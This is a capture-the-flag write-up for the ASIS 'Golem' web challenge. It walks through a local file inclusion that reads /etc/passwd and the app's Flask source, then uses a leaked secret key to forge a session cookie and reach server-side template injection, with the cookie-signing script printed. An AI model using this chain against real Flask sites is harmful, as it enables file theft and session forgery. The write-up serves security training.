Average: 4.57 Rating Count: 28 You Rated: Not rated
Top 3 Solver
NYUSEC 0daysober TokyoWesterns
Points 41 Solves 151 Category Web
Description:
Golem is an animated anthropomorphic being that is magically created entirely from inanimate matter, but Golem is stupid!
Note that the server was down after the CTF ended I can’t show some pictures of the CTF as I would like. We could easily find a LFI on https://golem.asisctf.com/article?name= :
We could include the /etc/passwd file, we noticed the website was running on Ngnix so we tried some valid paths paths for the configuration files like this:
#!/usr/bin/python import os from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) from flask.ext.session import Session app = Flask(__name__) execfile('flag.py') execfile('key.py') FLAG = flag app.secret_key = key @app.route("/golem", methods=["GET", "POST"]) defgolem(): if request.method != "POST": return redirect(url_for("index")) golem = request.form.get("golem") orNone if golem isnotNone: golem = golem.replace(".", "").replace("_", "").replace("{","").replace("}","") if"golem"notin session or session['golem'] isNone: session['golem'] = golem template = None if session['golem'] isnotNone: template = '''{%% extends "layout.html" %%} {%% block body %%} <h1>Golem Name</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> {%% endblock %%} ''' % session['golem'] print session['golem'] = None return render_template_string(template) @app.route("/", methods=["GET"]) defindex(): return render_template("main.html") @app.route('/article', methods=['GET']) defarticle(): error = 0 if'name'in request.args: page = request.args.get('name') else: page = 'article' if page.find('flag')>=0: page = 'notallowed.txt' try: template = open('/home/golem/articles/{}'.format(page)).read() except Exception as e: template = e return render_template('article.html', template=template) if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)
Now the real problem is the flag is in flag.py file but the word flag is filtered:
1 2
if page.find('flag')>=0: page = 'notallowed.txt'
We can include the key.py which contains a key, this key according to flask documentation is used to generate session cookies, the included key was 7h15_5h0uld_b3_r34lly_53cur3d. If we analyse the golem function we can see its filtering the {, }, . and _ characters so we can’t template inject code here, well actually if we look closely, if we provide a session cookie “golem” it doesn’t apply this filter but first we need to encrypt the cookie,this is easy because we have the key! We found a python code online that does this after some small modifications we ended up with this:
# Keep in mind that flask uses unicode strings for the # dictionary keys defencodeFlaskCookie(secret_key, cookieDict): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(cookieDict)
if __name__=='__main__': sk = '7h15_5h0uld_b3_r34lly_53cur3d' sessionDict = {u'golem':sys.argv[1]} cookie = encodeFlaskCookie(sk, sessionDict) decodedDict = decodeFlaskCookie(sk, cookie) print cookie
We tried to read the flag.py via template python code but we failed hard, after that I stopped and decided to read about some global variables on flask documentation(http://flask.pocoo.org/docs/0.12/templating/), and we found a config global variable we included and the flag was in the dictionary attribute ‘flag’: